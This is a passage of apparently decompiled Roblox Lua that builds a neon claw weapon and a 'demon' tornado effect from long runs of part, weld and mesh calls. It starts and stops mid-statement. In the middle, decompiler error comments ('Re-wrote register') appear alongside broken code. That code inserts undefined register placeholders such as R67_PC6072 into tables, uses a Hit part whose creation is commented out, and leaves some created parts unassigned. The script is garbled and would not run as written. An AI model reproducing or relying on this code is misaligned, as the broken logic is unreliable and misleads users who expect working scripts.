Vector3.new(1.06224263, 1.11860847, 1.04200566)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0)) CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829)) CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0)) CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0)) CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0)) CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0)) CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0)) CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352)) CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0)) CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003)) MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178)) Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852)) CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744)) CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024)) CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074)) Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639)) CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804)) CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024)) CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003)) MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083)) Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489)) CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176)) CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023)) Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608)) CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176)) CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003)) MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0)) local CBlade = {} local CBladeWelds = {} for _,c in pairs(m:children()) do if c.className == "Part" then table.insert(CBlade, R67_PC6072) end end for _,c in pairs(m:children()) do if c.className == "Weld" then table.insert(CBladeWelds, R67_PC6072) print(R66_PC6093) end end -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg' -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg' --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5)) -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg' -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg' HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0)) CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3)) FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013)) FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5)) Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1)) TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 